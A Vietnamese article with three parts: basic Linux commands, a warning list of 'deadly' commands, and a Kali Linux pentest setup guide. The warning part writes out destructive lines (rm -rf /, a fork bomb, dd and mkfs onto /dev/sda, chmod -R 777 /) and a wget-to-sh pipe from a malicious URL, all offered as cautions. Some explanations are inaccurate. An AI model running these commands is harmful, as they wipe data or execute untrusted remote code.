Linux Shell hay “Terminal” về cơ bản, shell là một chương trình nhận lệnh từ người dùng và cung cấp cho hệ điều hành để xử lý và hiển thị kết quả đầu ra. Shell là trái tim của Linux. Các bản phân phối của nó có GUI (giao diện người dùng đồ họa), nhưng về cơ bản, Linux có CLI (giao diện dòng lệnh).

Danh sách các lệnh Linux bạn cần phải biết

1. pwd: Khi bạn mở terminal lần đầu tiên, bạn đang ở trong thư mục chính của người dùng. Để biết bạn đang ở thư mục nào, bạn có thể sử dụng lệnh “pwd”. Nó cung cấp cho chúng ta đường dẫn tuyệt đối, có nghĩa là đường dẫn bắt đầu từ root. Root là cơ sở của hệ thống tệp Linux. Nó được biểu thị bằng dấu gạch chéo (/). Thư mục người dùng thường giống như “/home/username”.

2. ls – Sử dụng lệnh “ls” để xem danh sách các tệp trong thư mục bạn đang truy cập. Bạn có thể xem tất cả các tệp ẩn bằng cách sử dụng lệnh “ls -a”. “Ls -l” có thể được sử dụng để xem thông tin đầy đủ hơn của tệp.

3. cd – Sử dụng lệnh “cd” để truy cập thư mục. Ví dụ: nếu bạn đang ở trong thư mục chính và bạn muốn truy cập thư mục downloads, thì bạn có thể nhập lệnh “cd Downloads”. Hãy nhớ rằng lệnh này phân biệt chữ hoa chữ thường và bạn phải nhập chính xác tên của thư mục. Để quay lại thư mục trước đó, bạn có thể nhập “cd ..”.

4. mkdir & rmdir – Sử dụng lệnh mkdir khi bạn cần tạo một thư mục. Ví dụ: nếu bạn muốn tạo một thư mục có tên là “DIY”, thì bạn có thể nhập “mkdir DIY ”. Nếu bạn muốn tạo một thư mục có tên “DIY Hacking”, thì bạn có thể nhập “mkdir DIY\ Hacking ”. Sử dụng rmdir để xóa một thư mục. Nhưng rmdir chỉ có thể được sử dụng để xóa một thư mục trống. Để xóa thư mục chứa tệp, hãy sử dụng rm .

5. rm – Sử dụng lệnh rm để xóa tệp và thư mục. Sử dụng “ rm -r ” để chỉ xóa thư mục. Nó xóa cả thư mục và tệp trong đó khi chỉ sử dụng lệnh rm .

6. rf – cưỡng bức xóa thư mục . Một tệp hoặc thư mục sẽ bị xóa bằng mọi cách ngay cả khi nó có quyền chỉ đọc. Để xóa tệp một cách cưỡng bức, hãy sử dụng lệnh: rm -f <tên tệp>

7. touch – Lệnh touch được sử dụng để tạo tệp. Nó có thể là bất cứ thứ gì, từ tệp txt trống đến tệp zip trống. Ví dụ: “ touch new.txt”.

8. man & – help – Để biết thêm về một lệnh và cách sử dụng nó, hãy sử dụng lệnh man . Nó hiển thị các hướng dẫn của lệnh. Ví dụ: “ man cd ” hiển thị các hướng dẫn của lệnh cd . Thêm -help vào cuối lệnh để xem những tham số có thể được sử dụng (ví dụ: cd –help ).

9. cp – Sử dụng lệnh cp để sao chép tệp thông qua dòng lệnh. Cần có hai tham số: Thứ nhất là vị trí của tệp sẽ được sao chép, tham số thứ hai là nơi tệp được sao chép đến.

10. mv – Sử dụng lệnh mv để di chuyển (cut) tệp. Hoặc chúng ta cũng có thể sử dụng lệnh mv để đổi tên tệp. Ví dụ: nếu chúng ta muốn đổi tên tệp “ text ” thành “ new ”, chúng ta có thể sử dụng “ mv text new ”. Nó nhận hai tham số, giống như lệnh cp .

11. locate – Lệnh locate được sử dụng để định vị tệp trong hệ thống Linux, giống như lệnh tìm kiếm trong Windows. Lệnh này hữu ích khi bạn không biết nơi lưu tệp hoặc tên thực của tệp.

12. echo – Lệnh “ echo ” giúp chúng ta di chuyển một số dữ liệu, thường là văn bản vào một tệp. Ví dụ: nếu bạn muốn tạo một tệp văn bản mới hoặc thêm văn bản vào tệp đã được tạo sẵn, bạn chỉ cần nhập “ echo hello, my name is alok >> new.txt ”.

13. cat – Sử dụng lệnh cat để hiển thị nội dung của tệp. Nó thường được sử dụng để dễ dàng xem các chương trình. Lệnh cat là một tiện ích đa năng trong hệ thống Linux. Nó có thể được sử dụng để tạo tệp, hiển thị nội dung của tệp, sao chép nội dung của tệp này sang tệp khác và hơn thế nữa.

14. sudo – Một lệnh được sử dụng rộng rãi trong Linux, sudo là viết tắt của “SuperUser Do”. Vì vậy, nếu bạn muốn bất kỳ lệnh nào được thực hiện với quyền quản trị hoặc quyền root, bạn có thể sử dụng lệnh sudo . Ví dụ, nếu bạn muốn chỉnh sửa một tập tin như viz. alsa-base.conf , cần quyền root, bạn có thể sử dụng lệnh – sudo nano alsa-base.conf . Bạn có thể truy cập terminal root bằng lệnh “ sudo bash ”, sau đó nhập mật khẩu người dùng của bạn. Bạn cũng có thể sử dụng lệnh “ su ” để thực hiện việc này, nhưng bạn cần đặt mật khẩu root trước đó. Bạn có thể sử dụng lệnh “ sudo passwd ”. Sau đó nhập mật khẩu root mới.

15. df – Sử dụng lệnh df để xem dung lượng đĩa trống trong mỗi phân vùng trong hệ thống. Bạn chỉ có thể nhập df trong dòng lệnh và bạn có thể thấy từng phân vùng và dung lượng đã sử dụng/khả dụng của chúng bằng % và tính bằng KB. Nếu bạn muốn hiển thị bằng megabyte, bạn có thể sử dụng lệnh “ df -m ”.

16. du – Sử dụng du để biết việc sử dụng đĩa của một tệp trong hệ thống của bạn. Nếu bạn muốn biết việc sử dụng đĩa cho một thư mục hoặc tệp cụ thể trong Linux, bạn có thể nhập lệnh df và tên của thư mục hoặc tệp. Ví dụ, nếu bạn muốn biết dung lượng ổ đĩa được sử dụng bởi thư mục tài liệu trong Linux, bạn có thể sử dụng lệnh “ du Documents ”. Bạn cũng có thể sử dụng lệnh “ ls -lah ” để xem kích thước tệp của tất cả các tệp trong một thư mục.

17. zip, unzip – Sử dụng zip để nén các tệp vào một kho lưu trữ zip và unzip để giải nén các tệp từ một kho lưu trữ zip.

18. gzip – Lệnh gzip được sử dụng để cắt bớt kích thước tệp. Nó là một công cụ nén. Nó thay thế tệp gốc bằng tệp nén có phần mở rộng ‘.gz’.

19. uname – Sử dụng uname để hiển thị thông tin về hệ thống mà bạn đang sử dụng. Sử dụng lệnh “ uname -a ” sẽ in hầu hết thông tin về hệ thống. Thao tác này sẽ in ra ngày phát hành kernel, phiên bản, loại cpu,…

20. tar – Sử dụng tar để làm việc với tarball (hoặc các tệp được nén trong kho lưu trữ tarball). Nó có một danh sách dài các công dụng. Nó có thể được sử dụng để nén và giải nén các loại tệp lưu trữ tar khác nhau như .tar, .tar.gz, .tar.bz2 ,… Nó hoạt động trên cơ sở các tham số được chọn. Ví dụ: “ tar -cvf ” để tạo một kho lưu trữ .tar , – xvf để mở một kho lưu trữ tar, – tvf để liệt kê nội dung của kho lưu trữ, ….

21. apt-get – Sử dụng apt để làm việc với các gói trong dòng lệnh Linux. Sử dụng apt-get để cài đặt các gói. Điều này yêu cầu đặc quyền root, vì vậy hãy sử dụng cùng lệnh sudo. Ví dụ, nếu bạn muốn cài đặt trình soạn thảo văn bản jed, chúng ta có thể nhập lệnh “ sudo apt-get install jed ”. Tương tự, bất kỳ gói nào cũng có thể được cài đặt như thế này. Bạn nên cập nhật kho lưu trữ của mình mỗi khi bạn cố gắng cài đặt một gói mới. Bạn có thể làm điều đó bằng cách gõ “ sudo apt-get update ”. Bạn có thể nâng cấp hệ thống bằng cách gõ “ sudo apt-get upgrade ”. Chúng ta cũng có thể nâng cấp bản phân phối bằng cách nhập “ sudo apt-get dist-upgrade”. Lệnh “ apt-cache search ” được sử dụng để tìm kiếm một gói. Nếu bạn muốn tìm kiếm một gói, bạn có thể nhập ” apt-cache search jed ” (cái này không yêu cầu root).

22. chmod – Sử dụng chmod để làm cho một tệp có thể thực thi được và để thay đổi các quyền được cấp cho nó trong Linux. Để làm cho một tệp có thể thực thi được, bạn có thể sử dụng lệnh “ chmod + x number.py ” trong trường hợp này. Bạn có thể sử dụng “ chmod 755 number.py ” để cấp cho nó quyền root hoặc “ sudo chmod + x number.py ” để thực thi root.

23. hostname – Sử dụng hostname để biết tên của bạn trong máy chủ hoặc mạng của bạn. Về cơ bản, nó hiển thị tên máy chủ và địa chỉ IP của bạn. Chỉ cần gõ “ hostname” là có kết quả. Nhập “ hostname -I ” để biết địa chỉ IP trong mạng của bạn.

24. ping – Sử dụng ping để kiểm tra kết nối của bạn với máy chủ. Wikipedia cho biết, ” Ping là một tiện ích phần mềm quản trị mạng máy tính được sử dụng để kiểm tra khả năng truy cập của máy chủ trên Giao thức Internet (IP)”. Đơn giản, khi bạn nhập “ ping google.com ”, nó sẽ kiểm tra xem nó có thể kết nối với máy chủ và quay lại hay không. Nó đo thời gian phản hồi này và cung cấp cho bạn thông tin chi tiết về nó.

25. ps/top – Các lệnh ps/top cho phép bạn liệt kê các tiến trình đang chạy trên máy tính của mình.

26. kill – Lệnh kill có thể được sử dụng để kết thúc một tác vụ đang chạy. Bạn có thể kết thúc một chương trình không phản hồi hoặc đang chạy trong nền. Nhưng bạn sẽ phải tìm ra PID của tác vụ (bạn có thể làm điều đó với ps hoặc top).

27. service – Lệnh service có thể được sử dụng để quản lý các dịch vụ trên máy tính của bạn. Nó khá linh hoạt, bạn có thể bắt đầu, dừng và khởi động lại một dịch vụ cũng như in danh sách tất cả các dịch vụ có sẵn trên máy tính của bạn.

28. grep – Một lệnh cho phép bạn tìm kiếm các ký tự cụ thể trong một chuỗi . Nó sẽ chỉ in tất cả các dòng mà chuỗi bạn đã tìm kiếm xuất hiện.

29. head – Lệnh head được sử dụng để hiển thị nội dung của tệp. Nó hiển thị 10 dòng đầu tiên của tệp.

30. tail – Lệnh tail tương tự như lệnh head. Sự khác biệt giữa cả hai lệnh là nó hiển thị mười dòng cuối cùng của tệp. Nó rất hữu ích để đọc thông báo lỗi. ví dụ: tail txt.log HOẶC tail -f txt.log.

31. more – Lệnh more khá giống với lệnh cat, vì nó được sử dụng để hiển thị nội dung tệp giống như cách mà lệnh cat thực hiện.

32. less – Lệnh less tương tự như lệnh more. Nó cũng bao gồm một số tính năng bổ sung như ‘điều chỉnh chiều rộng và chiều cao của terminal.’ Tương tự, càng nhiều nội dung sẽ cắt đầu ra theo chiều rộng của terminal.

33. su – Lệnh su cung cấp quyền truy cập quản trị cho người dùng khác. Nói cách khác, nó cho phép người dùng khác truy cập shell Linux.

34. id – Lệnh id được sử dụng để hiển thị ID người dùng (UID) và ID nhóm (GID).

35. passwd – Lệnh passwd được sử dụng để tạo và thay đổi mật khẩu cho người dùng.

36. comm – Lệnh ‘comm’ được sử dụng để so sánh hai tệp hoặc luồng. Theo mặc định, nó hiển thị ba cột, đầu tiên hiển thị các mục không khớp của tệp đầu tiên, cột thứ hai cho biết mục không khớp của tệp thứ hai và cột thứ ba hiển thị các mục khớp của cả hai tệp: comm <file1> <file2>.

37. sed – Lệnh sed còn được gọi là trình soạn thảo luồng . Nó được sử dụng để chỉnh sửa tệp bằng regular expression. Nó không chỉnh sửa tệp vĩnh viễn; thay vào đó, nội dung đã chỉnh sửa chỉ được hiển thị. Nó không ảnh hưởng đến tệp thực tế.

38. tee – Lệnh tee khá giống với lệnh cat. Sự khác biệt duy nhất giữa cả hai lệnh này là tee đọc nội dung từ STDIN (standard input), xuất ra STDOUT (standard output) và ghi vào file.

39. sort – Lệnh sort được sử dụng để sắp xếp các tệp theo thứ tự bảng chữ cái.

40. find – Lệnh find được sử dụng để tìm một tệp cụ thể trong một thư mục. Nó cũng hỗ trợ các tùy chọn khác nhau để tìm tệp như theo tên, theo loại, theo ngày và hơn thế nữa.

41. date – Lệnh date được sử dụng để hiển thị ngày, giờ, múi giờ,…

42. cal – Lệnh cal được sử dụng để hiển thị lịch của tháng hiện tại với ngày hiện tại được đánh dấu.

43. exit – Lệnh exit của Linux được sử dụng để thoát khỏi shell hiện tại.

44. clear – Lệnh clear của Linux được sử dụng để xóa màn hình terminal.

45. ssh – Lệnh ssh của Linux được sử dụng để tạo kết nối từ xa thông qua giao thức ssh: ssh user_name@host(IP/Domain_name)</p>

46. wc – Lệnh wc được sử dụng để đếm các dòng, từ và ký tự trong một tệp.

47. rename – Lệnh rename được sử dụng để đổi tên tệp. Nó rất hữu ích để đổi tên một nhóm lớn các tệp.

48. groupadd – Lệnh groupadd được sử dụng để tạo một nhóm người dùng.

49. cut – Lệnh cut được sử dụng để chọn một cột cụ thể của tệp. Tùy chọn ‘-d’ được sử dụng làm dấu phân cách và nó có thể là dấu cách (”), dấu gạch chéo (/), dấu gạch ngang (-) hoặc bất kỳ thứ gì khác. Và, tùy chọn ‘-f’ được sử dụng để chỉ định một số cột.

50. comm – Lệnh ‘comm’ được sử dụng để so sánh hai tệp hoặc luồng. Theo mặc định, nó hiển thị ba cột, đầu tiên hiển thị các mục không khớp của tệp đầu tiên, cột thứ hai cho biết mục không khớp của tệp thứ hai và cột thứ ba hiển thị các mục khớp của cả hai tệp: comm <file1> <file2>.

Câu hỏi thường gặp

Tôi có thể sử dụng lệnh nào để xem thư mục hiện tại của mình?

Bạn có thể sử dụng lệnh pwd (print working directory) để xem đường dẫn tuyệt đối của thư mục hiện tại.

Làm thế nào để tôi tạo một thư mục mới và xóa một thư mục trống?

Để tạo thư mục mới, sử dụng lệnh mkdir [tên thư mục]. Để xóa một thư mục trống, sử dụng lệnh rmdir [tên thư mục].

Lệnh nào dùng để xem nội dung của một tập tin?

Bạn có thể sử dụng lệnh cat [tên tập tin] để hiển thị nội dung của một tập tin.

10 lệnh Linux chết người mà bạn không bao giờ nên chạy

1. Xóa đệ quy

Một trong những cách nhanh nhất để xóa thư mục và nội dung của nó là dùng lệnh rm -rf. Lệnh này sẽ xóa sạch mọi thứ trong tệp, thư mục hoặc ổ cứng mà lệnh đang chạy. Mình sẽ chia nhỏ lệnh ra để dễ hiểu hơn:

rm – Xóa tất cả các tệp ở vị trí đã cho

-rf – Lệnh này được chia thành hai phần: r và f. r cho phép bạn xóa tất cả các tệp một cách đệ quy trong khi f có nghĩa là xóa tất cả các tệp mà không cần nhắc người dùng.

Có một số biến thể của lệnh này trên mạng, nhưng điểm chung của các lệnh này là sẽ xóa sạch mọi dữ liệu trên thư mục lệnh đang chạy. Dữ liệu bị mất từ ​​lệnh này không thể phục hồi theo bất kỳ cách nào.

• rm – Lệnh này được sử dụng để xóa tất cả các tệp trong đường dẫn mà bạn sẽ cung cấp
• rm -r – Lệnh này được sử dụng để xóa các tệp một cách đệ quy khỏi tất cả các thư mục và thư mục con trong Hệ điều hành Linux.
• rm -f – Lệnh này được sử dụng để xóa các tệp trên đường dẫn được cung cấp mà không cần nhắc người dùng. Bao gồm cả xóa “Read Only Files”.
• rm -rf / – Đây là một trong những lệnh nguy hiểm nhất vì / là thư mục gốc của hệ điều hành. Khi lệnh này được chạy, nó sẽ xóa đệ quy tất cả nội dung của thư mục gốc. Như vậy, tất cả các thư mục và thư mục con của bạn sẽ bị xóa và dữ liệu sẽ bị mất.
• rm -rf * – Lệnh này xóa tất cả dữ liệu trong thư mục đang làm việc
• rm -rf. – Lệnh này xóa các tệp trong thư mục làm việc hiện tại cũng như các thư mục con. Nó cũng xóa tất cả các tệp cấu hình trong thư mục.

2. Fork Bomb

Đây là một hàm bash đơn giản mà sau khi được thực thi sẽ tạo ra các bản sao của chính nó. Do đó gây tốn thời gian và tài nguyên bộ nhớ của CPU. Lệnh này sẽ chạy đệ quy cho đến khi hệ thống bị đóng băng.

:(){:|:&};:

3. Ghi đè ổ cứng

Nếu bạn thực hiện lệnh dưới trên ổ cứng của mình, thì việc khôi phục dữ liệu là hoàn toàn không thể.

command > dev/sda

Lệnh này ghi dữ liệu thô vào ổ cứng bạn muốn. Điều này dẫn đến mất dữ liệu trong ổ cứng hoặc phân vùng trong lệnh. Mình sẽ chia nhỏ lệnh ra cho dễ hiểu.

command – Đây có thể là bất kỳ lệnh nào được nhập bởi người dùng > – Chịu trách nhiệm gửi đầu ra của lệnh đến vị trí đã nhập dev/ sda – Đầu ra của lệnh sẽ được ghi vào vị trí này. Vì vậy, hãy cẩn thận khi sử dụng lệnh có vị trí ổ cứng chẳng hạn như dev/sda.

4. Mã hóa ổ cứng

Trong mọi hệ thống Linux, dev/null là một vị trí đặc biệt được ví như một lỗ đen. Bất cứ thứ gì di chuyển đến lỗ đen này đều bị phá hủy. Nếu bạn vô tình di chuyển dữ liệu của mình vào thư mục này, dữ liệu của bạn sẽ không được khôi phục.

mv /home/root/*  dev/null

Lệnh trên sẽ di chuyển tất cả dữ liệu trong thư mục home/root vào dev/null, dẫn đến mất dữ liệu. Mình sẽ chia nhỏ lệnh ra cho dễ hiểu.

mv – Lệnh này được sử dụng để di chuyển một thư mục đến một vị trí khác

/home/root/ * – Đây là vị trí của thư mục sẽ được di chuyển

dev/null – Vị trí đặc biệt được ví như lỗ đen

Vì vậy, bạn nên cẩn thận trong khi chạy lệnh này.

5. Tải các tập lệnh độc hại

Tất cả chúng ta đều nhận thức được lợi ích của lệnh “wget” trong Linux nhưng điều mà chúng ta không biết là nó có thể tải xuống các tập lệnh và vi rút độc hại cũng như phần mềm có lợi. Nếu bạn tình cờ chạy một trong các lệnh sau, thì bạn nên cẩn thận.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

Các lệnh trên tải xuống nội dung từ URL được cung cấp và chạy tập lệnh đã tải xuống.

6. Định dạng ổ cứng

Có một lệnh khác để xóa ổ cứng của bạn và định dạng lại ổ cứng. Nhưng lệnh này chỉ nên được sử dụng trong trường hợp bạn đã sao lưu dữ liệu của mình trên đám mây hoặc thiết bị bên ngoài.

mkfs.ext3 /dev/sda

Chạy lệnh này giống như format ổ C trong windows, trong đó tất cả tệp sẽ được xóa sạch khỏi ổ đĩa. Để bạn dễ hiểu hơn, hãy chia nhỏ lệnh này.

mkfs.ext3 - Tạo ra một hệ thống tệp ext3 mới trên ổ cứng.

dev/sda - Chỉ định phân vùng đầu tiên trên ổ cứng.

Khi lệnh này được thực thi, nó sẽ định dạng phân vùng được chỉ định trên ổ cứng theo ext3.

7. Ghi nội dung file

Lệnh xóa nội dung tệp là một lệnh dễ dàng và có thể được thực thi trong bất kỳ trường hợp nào.

>file

Toán tử > chuyển hướng đầu ra thành một file và ghi đè lên nội dung của file đó. Ví dụ:

echo "first statement" > file1.txt

Lệnh trên sẽ ghi dòng chữ first statement vào file file1.txt.

8. Chỉnh sửa lệnh trước

Lệnh này là một cao dao hai lưỡi. Mặc dù nó giúp bạn không phải gõ lại tất cả lệnh trước đó và thực thi nó dễ dàng hơn, nhưng nó cũng có thể truyền nội dung độc hại vào lệnh đã chạy trước đó của bạn. Do đó, bạn cần cân nhắc sử dụng lệnh này.

^foo^bar

9. Ghi dữ liệu ngẫu nhiên vào ổ cứng

Nếu bạn đã từng gặp lệnh dưới, thì xin chúc mừng, bạn cũng có thể đã thấy dữ liệu ngẫu nhiên được ghi vào ổ cứng của mình nếu bạn đủ điên để thực hiện lệnh này. Hậu quả của lệnh này là hệ thống của bạn sẽ không được phục hồi.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777 /

Lệnh này không ảnh hưởng hệ thống của bạn về mặt vật lý như tất cả các lệnh khác nhưng lệnh này dẫn đến vi phạm bảo mật trên hệ thống. Bằng cách thực hiện lệnh này, bạn đang cung cấp cho tất cả người dùng của hệ thống khả năng đọc, ghi và thực thi dữ liệu trên hệ thống tệp của bạn. Do đó, hãy sử dụng lệnh này một cách khôn ngoan.

Mình hy vọng các lệnh linux chết người này sẽ giúp bạn không bị mất dữ liệu của mình. Ngoài ra, bạn cũng có thể xem hêm các lệnh cmd nguy hiểm tại đây.

Câu hỏi thường gặp

Tôi có thể khôi phục dữ liệu sau khi sử dụng lệnh `rm -rf` không?

Không, dữ liệu bị xóa bởi lệnh rm -rf thường không thể khôi phục được. Lệnh này xóa dữ liệu một cách vĩnh viễn.

Lệnh “fork bomb” (`(){:|:&};:`) hoạt động như thế nào và tại sao nó nguy hiểm?

Lệnh này tạo ra nhiều tiến trình con, tiêu thụ tài nguyên hệ thống (CPU và bộ nhớ) một cách nhanh chóng, dẫn đến hệ thống bị treo hoặc sập.

Có cách nào để bảo vệ mình khỏi các lệnh Linux nguy hiểm không?

Hãy chắc chắn rằng bạn hiểu rõ cách hoạt động của một lệnh trước khi thực hiện. Luôn sao lưu dữ liệu quan trọng và tránh thực hiện các lệnh có thể xóa hoặc ghi đè dữ liệu mà không có sự hiểu biết đầy đủ.

Hầu hết các bản phân phối Linux đều có khả năng tuỳ biến cao. Điều này làm cho việc cá nhân hoá môi trường pentest có chút khó khăn. Chỉ với một vài dòng lệnh, mình có thể tự động hoá các tác vụ, cài đặt phần mềm yêu thích, tạo thêm tài khoản người dùng, cấu hình các phần mềm ẩn danh và tối ưu hoá các tương tới của bạn với các thiết bị đầu cuối. Chỉ có một vài điều mà chúng ta có thể làm để cải thiện sự tương tác với hệ điều hành. Hãy tham khảo 10 việc cần làm sau khi cài xong Kai Linux nhé.

Cài đặt Git

Git là ứng dụng kiểm soát phần mềm mã nguồn mở. Nó có thể được sử dụng để chia sẻ và chỉnh sửa mã cộng tác (mã nguồn được chia sẻ cho nhiều người dùng chung trong team hoặc công ty). Git là công cụ phải có cho những pentester (những người kiểm thử bảo mật) đang tìm cách mở rộng bộ công cụ của họ ngoài những gì có sẵn trong kho Kali mặc định.

Bạn có thể cài đặt git bằng lệnh apt-get.

apt-get install git

Cấu hình Bash

Bash là giải pháp tuyệt vời để tạo các shortcut lệnh. Ví dụ: chúng ta có thể gán lại lệnh ls để tự động sử dụng các arguments yêu thích của bạn. Dưới đây là ví dụ về ls bình thường.

ls
androidbins.txt    folder-pictures.png  smtp.cracked  text-x-generic.png
bogus_gmail.creds  folder.png           smtp.list     Windows-10
dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39 package-x-generic.png text-x-generic.ico 'Windows 10 Icons'


Và đây là ls sau khi đã chỉnh sửa lại bash.

ls


total 220K
-rw------- 1 root root 15K Aug 24 2015 folder-pictures.png
-rw------- 1 root root 8.7K Aug 24 2015 folder.png
-rw------- 1 root root 11K Aug 24 2015 package-x-generic.png
-rw------- 1 root root 5.5K Sep 3 2015 text-x-generic.png
drwxr-xr-x 12 root root 4.0K May 31 00:44 'Windows 10 Icons'/
drwxr-xr-x 18 root root 4.0K May 31 00:44 Windows-10/
-rwxr-x--- 1 root root 103K May 31 00:49 text-x-generic.ico*
drwxr-xr-x 5 root root 4.0K Jun 11 21:57 dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/
-rw-r--r-- 1 root root 52 Jul 5 18:13 bogus_gmail.creds
-rw-r--r-- 1 root root 15K Jul 5 18:28 smtp.list
-rw-r--r-- 1 root root 181 Jul 5 18:43 smtp.cracked
-rw-r--r-- 1 root root 23K Jul 23 18:18 androidbins.txt
drwxr-xr-x 5 root root 4.0K Jul 23 19:22 ./
drwxr-xr-x 23 root root 4.0K Aug 9 04:25 ../

Chúng ta nhận được kết quả nhiều hơn. Lệnh ls hiện đang được sử dụng các arguments -l, -a, -t, -h và -r hoàn toàn tự động. Tất cả các arguments sẽ làm cho ls sử dụng định dạng liệt kê (-l), liệt kê tất cả (-a) – bao gồm các tệp ẩn và in kích thước tệp ở định dạng (-h).

Bash cũng sẽ sắp xếp đầu ra theo thời gian sửa đổi (-t) và đảo ngược (-r) thứ tự trọng danh sách để các tệp được sửa đổi gần đây xuất hiện ở dưới cùng của terminal. Bộ sưu tập arguments là sở thích của tác giả, nhưng bạn cũng có thể sử dụng nó.

Để tạo bash, hãy mở /root/.bash_aliases bằng nano hoặc các text editor yêu thích của bạn. Sau đó, nhập dòng lệnh sau:

alias ls='ls --color=always -rthla'

Chúng ta cũng có thể đi xa hơn một chút và thêm các hàm phức tạp hơn vào tệp .bash_aliases. Dưới đây là một ví dụ đơn giản về một hàm được thiết kế để giữ cho Kali luôn được cập nhật đầy đủ.

function apt-updater {
	apt-get update &&
	apt-get dist-upgrade -Vy &&
	apt-get autoremove -y &&
	apt-get autoclean &&
	apt-get clean &&
	reboot
	}

Sau khi lưu file .bash_aliases, hãy mở một têrminal mới để các thay đổi có hiệu lực. Chạy hàm apt-updater sẽ gọi một loạt các lênh apt-get tự động cập nhật và duy trì hệ thống của bạn. Các ký hiệu (&&) đảm bảo rằng hàm sẽ không tiếp tục chạy nếu lệnh trước không thành công.

apt-updater

Tạo người dùng cấp thấp mới

Nhiều ứng dụng như Chromium Browser và Tor Browser nên không bao giờ được mở hoặc sử dụng người dùng root. Các ứng dụng như vậy phụ thuộc rất nhiều vào các quyền cấp thấp để cung cấp mức độ bảo mật. Một số người dùng có thể có lợi khi tạo tài khoản người dùng cấp thấp cho các hoạt động đó.

Cài đặt Terminal Multiplexer

Multiplexer là trình giả lập terminal cho phép chúng ta mở một số mở một số seasion trong một cửa sổ duy nhất. Lợi ích chính của việc này là bạn có thể thấy tất cả các seasion của terminal mà không cần phải Alt + Tab để chuyển qua lại giữa các terminal nữa.

Có rất nhiều trình giả lập terminal tốt. Nhưng Tilix, như đã thấy trên ảnh, là một tuỳ chọn mã nguồn mở đáng tin cậy. Bạn cũng có thể chọn các phần mềm khác như tmux và screen.

Tilix có sẵn trong kho ứng dụng APT và có thể được cài đặt bằng lệnh dưới đây.

sudo apt-get install tilix

Cài đặt các công cụ hack yêu thích của bạn

Một số phiên bản Kali phục vụ các pentester tối giản, những người không muốn hàng trăm công cụ hack được cài đặt sẵn. Các loại công cụ mà mình sử dụng dựa trên kỹ năng và lĩnh vực chuyên môn. Dưới dây là một số công cụ hack phổ biến.

• Aircrack-ng: Công cụ bẻ khoá WEP/WPA không dây.
• BeEF: Framework khai thác trình duyệt thông qua các ứng dụng web.
• Burp Suite: Ứng dụng đồ hoạ được thiết kể để bảo mật web.
• Hydra: Tiện ích đăng nhập password bằng brute-forcing.
• Nikto: Quét bảo mật web server.
• Maltego: Công cụ thu thập thông tin mã nguồn mở.
• Nmap: Quét port và network map.
• Wireshark: Ứng dụng đồ hoạ phân tích lưu lượng mạng.

Những công cụ này có thể được cài đặt bằng lệnh sau:

sudo apt-get install maltego metasploit-framework burpsuite wireshark aircrack-ng hydra nmap beef-xss nikto

Cài đặt Tor

Tor có sẵn trong kho ứng dụng của Kali, nhưng phần mềm ẩn danh này nên được tải trực tiếp từ trang chủ. Hơn nữa, phiên bản Tor của Kali không được cập nhật và nó cũng không đáng tin cậy. Điều này có nghĩa là chúng ta có thể thiếu các bản cập nhật ổn định và bảo mật quan trọng.

Thêm Tor vào danh sách các ứng dụng trong kho APT.

echo 'deb https://deb.torproject.org/torproject.org stretch main
deb-src https://deb.torproject.org/torproject.org stretch main' > /etc/apt/sources.list.d/tor.list

Sau đó, tải xuống package Tor Project và add key vào APT.

wget -O- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | sudo apt-key add -

Bạn sẽ thấy chữ “OK” khi bạn thêm key thành công. Tiếp theo, cập nhật APT bằng lệnh apt-get.

apt-get update

Cuối cùng, cài đặt Tor bằng lệnh dưới.

apt-get install tor deb.torproject.org-keyring

Cấu hình File Sharing với Syncthing

Syncthing, được tạo bởi Jakob Borg, là một sự thay thế hoàn hảo cho các ứng dụng đồng bộ hoá tập tin (Dropbox) bởi vì nó đa nền tảng, bảo mật riêng tư, và rất nhẹ. Là pentester, việc chuyển các ảnh chụp màn hình, các video webcam, và các tập tin nhạy cảm giữa các server ảo và các máy Kali cục bộ có thể là một vấn đề lớn đấy. Lúc này, chúng ta sẽ cần Syncthing để chia sẻ các tập tin an toàn mà không lo về quyền riêng tư.

Các cài đặt Syncthing.

1. Cài đặt apt-transport-https

   apt-get update && apt-get install apt-transport-https -V

2. Sau đó nhập key PGP.

   curl -s https://syncthing.net/release-key.txt | sudo apt-key add -

3. Thêm Syncthing vào APT bằng lệnh echo.

   echo 'deb https://apt.syncthing.net/ syncthing stable' >> /etc/apt/sources.list

4. Trong kho Kali có một phiên bản cũ hơn của Syncthing. Để đảm bảo package vừa tải về được cài đặt, hãy tạo Pin-Priority trong đường dẫn /etc/apt/preferences.d/. Copy đoạn lệnh dưới và nhấn Enter.

   echo 'Package: *
   Pin: origin apt.syncthing.net
   Pin-Priority: 1001' > /etc/apt/preferences.d/syncthing

5. Cuối cùng, cập nhật APT và cài đặt Syncthing.

   apt-get update && apt-get install syncthing

Để biết thêm về cách sử dụng, hãy đọc bài viết này.

Cài đặt trình soạn code

Atom là trình soạn code miễn phí, mã nguồn mở, nhiều tính năng và khả năng tuỳ biến cao. Các tính năng của nó bao gồm khả năng chia sẽ mã theo thời gian thực (mấy ông nào code thì team thì cái này cực kỳ hay), tự động hoàn thành code và khả năng cài đặt các package giúp tăng tính linh hoạt của Atom. Các trình soạn code đáng chú ý khác bao gồm Geany và Gedit.

Để cài đặt Atom, hãy truy cập vào trang chủ và tải xuống gói cài đặt Debian mới nhất. Tiếp theo, mở terminal và nhập lệnh bên dưới.

apt-get install gvfs gvfs-common gvfs-daemons gvfs-libs gconf-service gconf2 gconf2-common gvfs-bin psmisc

Cuối cùng, sử dụng lệnh dpkg với argument (-i).

dpkg -i ~/Downloads/atom-amd64.deb

Khi cài đặt xong, Atom sẽ có sẵn trong menu ứng dụng của bạn.

Rubber Ducky

USB Rubber Ducky là một công cụ injection (tiêm mã độc) khét tiếng. Các bạn có thể tạo các payload ducky bằng DuckToolKit rất dễ dàng, nhưng với tư cách là một pentester, việc chia sẻ thông tin khách hàng với các trang web ngẫu nhiên là rất nguy hiểm. Ở đây nói đến việc, upload payload lên các trang web của bên thứ ba.

Thay vào đó, hãy sử dụng Git để clone USB Rubber Ducky trong repository và mã hoá payload cục bộ.

git clone https://github.com/hak5darren/USB-Rubber-Ducky

Sau đó, truy cập (dùng lệnh cd) vào đường dẫn USB-Rubber-Ducky/Encoder/ và sử dụng lệnh java để bắt đầu mã hoá payload ducky mà không cần đến các trang web của bên thứ ba.

